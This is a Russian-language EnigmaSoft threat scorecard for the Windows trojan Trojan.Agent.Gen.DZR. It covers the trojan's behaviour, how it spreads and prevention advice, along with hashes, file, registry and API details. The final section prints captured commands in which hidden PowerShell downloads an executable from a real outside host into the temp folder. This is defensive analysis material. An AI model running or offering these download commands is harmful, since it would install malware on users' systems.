Trojan.Agent.Gen.DZR
Карта показателей угрозы
Карта оценки угроз EnigmaSoft
EnigmaSoft Threat Scorecards — это отчеты об оценке различных вредоносных программ, которые были собраны и проанализированы нашей исследовательской группой. EnigmaSoft Threat Scorecards оценивает и ранжирует угрозы, используя несколько показателей, включая реальные и потенциальные факторы риска, тенденции, частоту, распространенность и постоянство. EnigmaSoft Threat Scorecards регулярно обновляются на основе данных и показателей наших исследований и полезны для широкого круга пользователей компьютеров, от конечных пользователей, ищущих решения для удаления вредоносных программ из своих систем, до экспертов по безопасности, анализирующих угрозы.
EnigmaSoft Threat Scorecards отображает разнообразную полезную информацию, в том числе:
Рейтинг популярности: Показатель, занимаемый конкретной угрозой в базе данных угроз EnigmaSoft.
Уровень серьезности: определенный уровень серьезности объекта, представленный в числовом виде на основе нашего процесса моделирования рисков и исследований, как описано в наших критериях оценки угроз .
Зараженные компьютеры: количество подтвержденных и предполагаемых случаев конкретной угрозы, обнаруженной на зараженных компьютерах, по данным SpyHunter.
См. также Критерии оценки угроз .
| Рейтинг популярности: | 19,710 |
| Уровень угрозы: | 80 % (Высокая) |
| Первый раз: | July 18, 2026 |
| Последний визит: | September 1, 2026 |
| ОС(а) Затронутые: | Windows |
Trojan.Agent.Gen.DZR — это опасный троян, нацеленный на компьютеры под управлением Windows. Классифицированный как высокоопасный, этот вредоносный код предназначен для скрытого проникновения в системы, выполнения вредоносного кода в фоновом режиме и создания условий для дальнейшего взлома. В последние месяцы наблюдалась его активность, и его поведение соответствует другим распространенным троянским программам, обычно используемым для доставки дополнительных вредоносных программ на зараженные машины.
Оглавление
Что делает Trojan.Agent.Gen.DZR
После активации в системе Trojan.Agent.Gen.DZR работает незаметно в фоновом режиме, без видимых окон или очевидных признаков, что затрудняет его обнаружение обычным пользователем. Анализ его поведения показывает, что он в значительной степени полагается на скрытые команды PowerShell, выполняемые через командную строку Windows, для незаметной загрузки дополнительных файлов с удаленных серверов на зараженный компьютер. Эти загруженные файлы обычно сохраняются во временных папках и могут быть использованы для установки дополнительных вредоносных компонентов.
Троянская программа также взаимодействует с удалёнными серверами по сети, используя стандартные функции интернет-соединения для отправки и получения данных, что предполагает возможность передачи информации обратно злоумышленникам или загрузки новых инструкций и полезных нагрузок. Она собирает основную информацию о компьютере, такую как имя пользователя, имя компьютера и сетевая конфигурация, что может помочь злоумышленникам адаптировать дальнейшие атаки или подтвердить успешное заражение. Вредоносное ПО также включает в себя методы, обычно используемые для избежания обнаружения и анализа, такие как проверка наличия отладочных инструментов и манипулирование памятью собственного процесса. Такое сочетание скрытности, удалённой связи и возможности загрузки и запуска большего количества вредоносных программ делает её серьёзной угрозой, поскольку может позволить хакерам получить обширный контроль над скомпрометированной системой.
Как это обычно попадает на компьютеры
Троян Trojan.Agent.Gen.DZR обычно распространяется обманным путем, а не используя какую-либо конкретную уязвимость. Типичные пути заражения для этого типа угроз включают программное обеспечение, загруженное с ненадежных или вредоносных веб-сайтов, пакетные установщики и вложения в электронные письма, замаскированные под безобидные файлы, такие как исполняемые файлы, изображения или видеофайлы. В некоторых случаях подобные трояны используют незащищенные системные уязвимости для установки без ведома или согласия пользователя. Поскольку процесс установки разработан таким образом, чтобы быть незаметным, жертвы часто не видят никаких изменений на своем компьютере.
Риски для пользователя
После установки Trojan.Agent.Gen.DZR может подвергнуть пользователя серьезным рискам. Его способность незаметно загружать и запускать дополнительные файлы означает, что он может служить шлюзом для других вредоносных программ, включая шпионские программы, программы-вымогатели или инструменты удаленного доступа. Возможности сбора информации вызывают опасения по поводу конфиденциальности, а функции сетевой связи предполагают, что злоумышленники могут удаленно отдавать команды или похищать данные. В целом, зараженный компьютер больше нельзя считать надежным или безопасным.
Признаки инфекции
Поскольку этот троян создан для скрытой работы, видимые симптомы часто минимальны. Пользователи могут заметить неожиданную сетевую активность, необычные процессы или кратковременное появление окон PowerShell на экране, замедление работы системы или появление незнакомых файлов во временных папках. Наиболее надежным индикатором заражения часто являются оповещения программного обеспечения безопасности, указывающие на подозрительную активность.
Как обеспечить свою безопасность
Чтобы снизить риск заражения, пользователям следует избегать открытия вложений в электронных письмах от неизвестных или непроверенных отправителей, особенно исполняемых файлов, замаскированных под документы или изображения. Поддержание операционной системы Windows и установленного программного обеспечения в актуальном состоянии помогает устранить уязвимости в системе безопасности, которые часто используют трояны. Загрузка программного обеспечения только из официальных и надежных источников, избегание пиратского контента и регулярное резервное копирование важных данных также являются эффективными мерами защиты. Использование надежного, обновленного программного обеспечения для обеспечения безопасности и осторожность в отношении неожиданных запросов или загрузок могут значительно повысить безопасность системы от таких угроз, как Trojan.Agent.Gen.DZR.
Аналитический отчет
Главная Информация
| Фамилия: | Trojan.Agent.Gen.DZR |
|---|---|
| Статус подписи: | No Signature |
Известные образцы
Известные образцы
В этом разделе перечислены другие образцы файлов, предположительно связанные с этой семьей.|
MD5:
446f7c40546602daea4c68d1747fda95
ША1:
df4496e25c7e5ff36d95fc358c3ca3f386dfe81a
SHA256:
D3295CA27022958FB1448443351B895CB7BDDB674983BFC701FAC90A38CD32DA
Размер файла:
408.06 KB, 408064 байт
|
Атрибуты исполняемого файла Windows Portable
- File doesn't have "Rich" header
- File doesn't have exports table
- File doesn't have security information
- File has TLS information
- File is 64-bit executable
- File is console application (IMAGE_SUBSYSTEM_WINDOWS_CUI)
- File is either console or GUI application
- File is Native application (NOT .NET application)
- File is not packed
- IMAGE_FILE_DLL is not set inside PE header (Executable)
Show 1 more
- IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)
Характеристики файла
- GetConsoleWindow
- No Version Info
- x64
Информация о блоке
Информация о блоке
В процессе анализа EnigmaSoft разбивает образцы файлов на логические блоки для классификации и сравнения с другими образцами. Блоки могут использоваться для генерации правил обнаружения вредоносного ПО и для группировки образцов файлов в семейства на основе общего исходного кода, функциональности и других отличительных атрибутов и характеристик. В этом разделе приводится сводная информация о данных этих блоков, а также их классификация, выполненная EnigmaSoft. При наличии также отображается визуальное представление данных блоков.| Всего блоков: | 1,065 |
|---|---|
| Потенциально вредоносные блоки: | 186 |
| Блоки, внесенные в белый список: | 826 |
| Неизвестные блоки: | 53 |
Визуальная карта
? - Неизвестный блок
x - Потенциально вредоносная блокировка
Похожие семьи
Похожие семьи
В этом разделе перечислены другие семейства вредоносных программ, имеющие сходства с данным семейством, на основе анализа EnigmaSoft. Многие семейства вредоносных программ создаются с использованием одних и тех же наборов инструментов и применяют одни и те же методы упаковки и шифрования, но обладают уникальными расширенными функциональными возможностями. Схожие семейства могут также иметь общий исходный код, атрибуты, значки, субкомпоненты, скомпрометированные и/или недействительные цифровые подписи и сетевые характеристики. Исследователи используют эти сходства для быстрой и эффективной сортировки образцов файлов и расширения правил обнаружения вредоносных программ.- Gamehack.ACC
- Trojan.Agent.Gen.DNW
- Trojan.Agent.Gen.DZR
Файлы изменены
Файлы изменены
В этом разделе перечислены файлы, созданные, измененные, перемещенные и/или удаленные образцами из этого семейства. Активность файловой системы может дать ценную информацию о том, как вредоносное ПО функционирует в операционной системе.| Файл | Атрибуты |
|---|---|
| \device\namedpipe\dav rpc service | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| \device\namedpipe\pshost.134327898198774855.9476.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| \device\namedpipe\wkssvc | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_3huww40m.5di.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_bop1xh1n.hgm.psm1 | Generic Write,Read Attributes |
Изменения в реестре
Изменения в реестре
В этом разделе перечислены ключи и значения реестра, которые были созданы, изменены и/или удалены образцами из этого семейства. Активность реестра Windows может дать ценную информацию о функциональности вредоносных программ. Кроме того, вредоносные программы часто создают значения реестра, чтобы автоматически запускаться и неограниченно существовать после того, как первоначальное заражение скомпрометировало систему.| Ключ::Значение | Данные | Название API |
|---|---|---|
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 畧Ｄ㪂ǝ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ﶱｌ㪂ǝ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 必ｏ㪂ǝ | RegNtPreCreateKey |
| HKLM\software\microsoft\tracing\rasapi32::enablefiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::enableautofiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::enableconsoletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::filetracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::consoletracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::maxfilesize | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::filedirectory | %windir%\tracing | RegNtPreCreateKey |
Show 7 more
| HKLM\software\microsoft\tracing\rasmancs::enablefiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::enableautofiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::enableconsoletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::filetracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::consoletracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::maxfilesize | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::filedirectory | %windir%\tracing | RegNtPreCreateKey |
Использование API Windows
Использование API Windows
В этом разделе перечислены вызовы API Windows, используемые примерами из этого семейства. Анализ использования API Windows — это ценный инструмент, который может помочь выявить вредоносную активность, такую как перехват нажатий клавиш, повышение привилегий в системе безопасности, шифрование данных, утечка данных, вмешательство в работу антивирусного программного обеспечения и манипулирование сетевыми запросами.| Категория | API |
|---|---|
| Syscall Use |
Show 90 more
31 дополнительных товаров не отображаются выше. |
| Process Manipulation Evasion |
|
| Process Shell Execute |
|
| Anti Debug |
|
| User Data Access |
|
| Encryption Used |
|
| Other Suspicious |
|
| Network Info Queried |
|
| Network Winsock2 |
|
| Network Winsock |
|
| Network Winhttp |
|
Выполнение команд оболочки
Выполнение команд оболочки
В этом разделе перечислены команды оболочки Windows, которые выполняются образцами этого семейства. Команды оболочки Windows часто используются вредоносным ПО в злонамеренных целях и могут применяться для повышения привилегий безопасности, загрузки и запуска другого вредоносного ПО, использования уязвимостей, сбора и кражи данных, а также сокрытия вредоносной активности.
C:\WINDOWS\system32\cmd.exe cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=mffkdrh5DYZO' -OutFile $env:TEMP\BK953836.exe
|
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=mffkdrh5DYZO' -OutFile $env:TEMP\BK953836.exe
|